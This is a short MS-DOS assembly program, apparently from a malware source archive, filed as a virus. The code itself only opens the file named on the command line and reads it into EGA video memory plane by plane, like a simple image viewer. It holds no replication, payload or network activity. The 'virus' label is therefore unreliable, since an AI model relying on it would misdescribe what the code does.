MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vi5.asm
2021-01-12 18:04:54 -06:00

36 lines
401 B
NASM

.286
.model tiny
.code
org 100H
start: ror si,1
lodsb
add si,ax
mov [si],ah
mov dx,82H
mov ax,3D00H
int 21H
jc rt
mov cx,40*200
xchg bx,ax
push 0A000H
pop ds
mov al,13
int 10H
mov si,10H
m10: mov dx,03C4H
mov al,2
out dx,al
xchg si,ax
shr al,1
inc dx
out dx,al
xchg si,ax
mov ah,3FH
cwd
int 21H
or ax,ax
jnz m10
int 16H
rt: ret
end start